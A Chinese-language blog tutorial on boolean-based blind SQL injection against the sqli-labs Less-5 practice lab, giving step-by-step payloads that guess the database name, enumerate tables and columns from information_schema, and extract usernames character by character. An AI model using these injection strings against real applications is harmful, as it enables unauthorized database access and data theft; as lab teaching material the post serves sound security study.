美文网首页sql注入
SQL注入 基于布尔的盲注(less-5)

SQL注入 基于布尔的盲注(less-5)

作者: dawsonenjoy | 来源:发表于2018-09-29 16:31 被阅读5次

盲注

当不能像前面那样直接在网页中显示我们要的数据时就需要用到盲注,来得到数据库之类的名字。基于布尔的盲注就是通过判断语句来猜解,如果判断条件正确则页面显示正常,否则报错 ,这样一轮一轮猜下去直到猜对。是挺麻烦但是相对简单的盲注方式。

盲注猜解(less-5)

通过一些语句来猜数据库、表名等需要的信息。

1.猜数据库名长度:’ and length (database())=x(某个值,用大于或者小于某个值也可以)--+

【通过输入条件可以判断数据库名字的长度,当猜对时页面才会显示正常,已知数据库为security所以输入=8才会显示you are in...,如下图】


2.猜数据库名(任何系统函数可以知道的内容,例如Mysql、操作系统版本号等):’ and left(database(),1)=’s’--+

【left用来取database()的前1位然后和外面的字符对比,如果正确则页面正常,不一定得是等于,前期用大于小于条件来判断会快点,然后继续把1改成2取前两位,则此时外面字符为’se’时将会发现页面显示正确,以此类推得到数据库名,如图】


3.获取数据库下的表:' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101--+

【这里database()与’security’等同,substr(a,b,c)作用将字符串a从第b位开始取c位数出来,这里用上面的left方法也是可以,ascii将其转换为ascii码,这里已知第一个表为emails,所以为e,对应ascii为101,所以当=101时页面显示正常,当然如果不用ascii则可以直接外面写=’e’,效果相同,但是这样区分不了大小写,转换成ascii猜可以区别。
如果要猜表的第二位则改成substr(x,2,1),这个时候就猜下一位的单字符,或者改成substr(x,1,2),这个时候就猜前两位的单字符,如图】




【接下来将要猜别的表的时候把limit后面的第一个数改一改就行,比如users表在第四个,那么就可以改成limit 3,1,如图】


4.获取表里的列名: ' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+

【这里用select 1,当后面的列存在时返回1,不存在则返回空,从而可以和外面的=1匹配,如果用select 2则存在时返回2。通过已知的表名来猜表当中的列名,这里用regexp ‘X[a-z]’,猜列的前几位,猜第一位时候就’u[a-z]’发现正确,再下前两位’us[a-z]’以此类推…。猜表名列名等等都可以用上面的left和substr,但是这两个每要多确认一位数就得截取的长度加1,比较麻烦

5.获取表里列的内容: ' and ord(mid((select ifnull(cast(username as char),x(这里是错误返回值,只要不要给对的值,加啥都可以))from security.users order by id limit 0,1),1,1))=68--+

【ord跟ascii相同,mid(a,b,c)和substr相同,cast(X as b)将X转换成b数据类型,ifnull(a,b)作用为若a不为null则返回a,否则返回b,已知username列第一个数据为Dumb,所以第一位是D,即68】

相关文章

  • 盲注

    盲注:1.基于布尔的SQL盲注。 2.基于时间的SQL盲注。 3.基于报错的SQL盲注。 布尔SQL盲注:逻辑判断...

  • SQL注入 基于布尔的盲注(less-5)

    盲注 当不能像前面那样直接在网页中显示我们要的数据时就需要用到盲注,来得到数据库之类的名字。基于布尔的盲注就是通过...

  • sql注入之盲注

    所谓的盲注即是在sql注入后在前端没有出现报错信息,无法判断是否注入成功。所以需要盲注进行判断 盲注分为基于布尔型...

  • Kali Linux系统利用DVWA靶场进测试SQL注入漏洞:

    手工盲注: 手工盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,手工盲注步骤:1.判断是否存在注入,注入...

  • 01.sqlmap

    1. sqlmap支持五种不同的注入模式: 基于布尔的盲注; 基于时间的盲注; 基于报错注入; 联合查询注入,un...

  • 一步一步学习 Web 安全 2.4 union 联合查询注入

    对 SQL 注入有一个大致的了解后,我们再来深入学习。 SQL 注入有联合查询注入、报错注入、布尔盲注、时间盲注等...

  • SQL注入靶场—盲注Rank1-2

    当存在注入点,但服务器没有返回sql执行后的结果回显,就可以使用盲注,盲注分为布尔注入和时间注入。 布尔注入涉及的...

  • SQL注入之布尔盲注

    title: SQL注入之布尔盲注date: 2019-05-25 14:05:48tags:- SQL注入- 布...

  • 利用dnslog进行无回显注入

    原理 在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读...

  • 20200227 SQL注入及杂事

    报错型注入 昨天学了基于时间型和基于布尔型的盲注,今天整个报错型的注入 基本分为: 双查询注入 基于extract...

网友评论

    本文标题:SQL注入 基于布尔的盲注(less-5)

    本文链接:https://www.haomeiwen.com/subject/pfvgnftx.html